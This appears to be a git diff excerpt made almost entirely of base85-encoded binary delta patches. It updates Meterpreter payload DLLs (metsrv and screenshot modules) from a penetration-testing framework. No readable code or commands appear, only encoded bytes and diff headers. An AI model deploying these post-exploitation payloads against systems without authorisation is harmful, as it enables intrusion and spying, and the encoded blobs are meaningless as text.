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 z z>G5uJl+L_QryCHX*TqckRdl}YKTbrt9gu!Zy49-U z=ma-mwFApKUSMqkq~GWX!rgnIK{s$pKV6Tg1f9N0@NDUh_Em;I07$>H{|mkY_|}Pn zUIifijtRFr*i`~mh|ne@*sUVM!+=!EUEyy9ezOcunI!PtfS1E>BKkbs9So+Bg&%&a z04V}5t@%Qq84w2yHR^^s<8%X-$LbQM^wf2$);E#VD2#seml_r-g7#G%OKuAa#sPn# z3&4K`qOf#TfH=P)0vcuF@u>nS7mx_vE8V97DWU#TMEE>FB1#F+FUs0YXPweb7qh%O zRmQ5`eH2k-kP0yyZ$yr-6mdpeC1{ib<`I#uM4E;OTYx~}AIS(;UoG5G<`|uMc`u!L zVVur9C01vyPH67a6knx2KQnr;dpM{UWngxOf6K9yHr$}s8J2hJ=m(s5%xTl`udp0A zG0|YXr_Qi2rh|VJ`6GpxYGlbAjnsPRV&-?NqAcN=YtG#cDS~D|2m`wy_#j!uWzTzVl!A^StwW z*V^lT+iUOHYwbD{xu3A(#_f`G@F@QRgi*w^ltlha_EJL@UQaGDi~cB5BxWfYD(%16 zl@1!<&n|`XG`nK;aGb?(JX8&PP!Gq}@KiONQcA0G1(QR8B!9LZlJhtGQs?r{LZzNS zf}~cC?BNXA#i{lX-9=7foRb9qCzRYzovTY@29(k%gyORp%CQiN`=jG&#y<2Hew>KL zi)$W&k3>2{CdbvO1MCv}TOWz>1Tm+DSt`Xz52WF)YcrOW( zz}35!a`Q)}=s(f_MX86Nm_4HR2lwPThDOjY2 zlEp#Ml%Ol1bJvSUCwE?Q7tx*$kGaB*OBFy#Y`Cw`<+UdSvB60yut?jsK{>v@(zx0` z-<4;(N*ltMaFw<#F4wLmRv1@f{H{E^Sn_e@cWj{?nOAF9*~g}-V;RuLGoX)Q<~X!C z!|u#w_>mO(NUbmcYmJ`+&?1cQjCss8c9801C~mXIrmC^!TzU%9Lr1OxwI;w?0+J&F zMT=B!pN=Qkhaxy=hT>iEDQ9m7 ze}qovLh4$j#vmK2P42ji4Y0$5pYuzOax=gVHxbV7I?7F=ot5QMSw;)V#LN$+u_J}9b+w$=w^T&Zt6Mz`BMJYSYgKC(lu71ooCV@HLQHCHLT!4Ynb(b zmC1l&kGq3q+~rcHn9>BXtVb#(5CR=wHq)L&J8QU$3-us1e0mnSAq=iWy;U^I<&@US z{&q6JPQvB?(sjrYHz7PGS|*Mrb#C3oYNhUP)OB_&lw*!DOJd!(Q2a>VjYKT-toMg9 z$PXD{Z=IT^PGx2>v@}Z%t+E?t!1B5jZ$PF>>&=&dVz;vR5?Lq#nJG=8ooVTI{pJ6J z%N|mf;5N}tPj&Ph)|%u}lW14O6SUa9bfTl5z&@uZF#kz?f)n%8)cgWBjbxb0D$Q0| zdv!y(`E~|2B<@7C&!q;~<+@aEHI-SKsl2!=L&mUT!p^`^c2;JJ%A7SQmJ&@4$OXc4 z0!!VptkrJk@^)ZYk{Y&J7j=YUmm>=6ja?6v;|(Zh_Z#y^=KLXJKj#kHnVJu!t6dJo zeU-7l)!19%i!X6yg|a0NfMrD@IFkF-FePvnJm|N?nZfPyYs~0e0k)wI^yla-`GIAcyCc;@E~R=rnaR@h{HZiMx$lThWP+UVz{NI? zPf>Y|IniOk?0`GLojPA4NF^cJUY^RBK4bd*BQ4rK=IoMCE^#Mg#9kG zZ|#yc>A+09~m8wGvA}69O=G=mMg)~a0b}fv+03$cD6U@)Q4;2H+<#2q{v##e@>BmIx$8AW<)wTanJ)@*uMc&;LuiW zo(An)9`)S7KiOO#B@xC=Ig}&(FZ|Tvr>k|O4sf4wJg7~Z!_kn-d!=)){R*}}Yu9

    r@R=K4+xja0ra;+VT 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 N2j}+dJGe9t0suyP9H9UJ delta 57 zcmZqpqTBFAcft#1-%`28*R8J^TVFG^zGiNH&C>dswe>Yy>udJb*Bo14bH3aTQqq2X N2j}+dJGe9t0suME95Vm_ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 90716b66de656f40cebf526da38256da8d330bdb..47314af6e5ff4f445bc67a68a3a663841eff540a 100755 GIT binary patch delta 179 zcmZqZv1;hCn(%}9VT)1Y@7CXpt-qOCe>1oKW@-J++WMPq>u>g27stZZOC`B4;{N^r z-+G`VvipMv^Jkx49~B4JUKbUI?&}`ir~ixYh-YK~%3A-w<^iPSe1K9Bj=do&Y{n=5 zUzonfm0gLka{7H&cJ+21oKW@-J++WMPq>u>g27nhROOC<#_;{N^r z-+G`Vru%~j^Jkx49~B4JUKbUI?&}`ir~ixYh-YK~%G&+E=F)uw$dLB|N=7*LhN!R^ zpLG0xdHPOQb|uEL>33Y&)!W(J*nyY>h&h3nYdf18w^#+|%RqJpMg|6km)lkMaq}yJ b+|+J|`ZyM3ktUwSG4nlDPw diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.dll index 7e286c83fb62437f2a78a924f128655a5ba0fc0b..661334266e9d741cc03b094a94b06078f34dff08 100755 GIT binary patch delta 34 ncmZp;!r5?zbHWD}zc!G delta 34 ncmZp;!r5?zbHWFft&3v<8^5%EVchzK>4GDeyZwX{lZ83}ETIq@ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index d868309c9500a81a003fad565e2141453bc11f97..85df9a563e32b8008a5023794a0d86032f4fe49b 100755 GIT binary patch delta 24801 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 